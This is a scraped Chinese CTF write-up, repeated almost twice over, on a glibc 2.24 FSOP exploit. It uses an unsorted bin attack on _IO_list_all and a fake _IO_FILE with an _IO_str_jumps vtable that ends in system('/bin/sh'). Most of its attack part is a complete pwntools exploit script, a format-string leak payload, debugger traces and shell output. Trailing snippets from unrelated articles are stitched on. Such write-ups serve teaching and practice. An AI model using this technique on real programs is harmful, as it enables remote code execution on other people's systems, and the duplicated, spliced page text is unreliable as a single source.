_unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接
到此UnsortedBinAttack的过程完毕
UnsortedBinAttack
上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。
实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链
malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow
最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章:
libc2.24
vtable
构造方法连接
libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 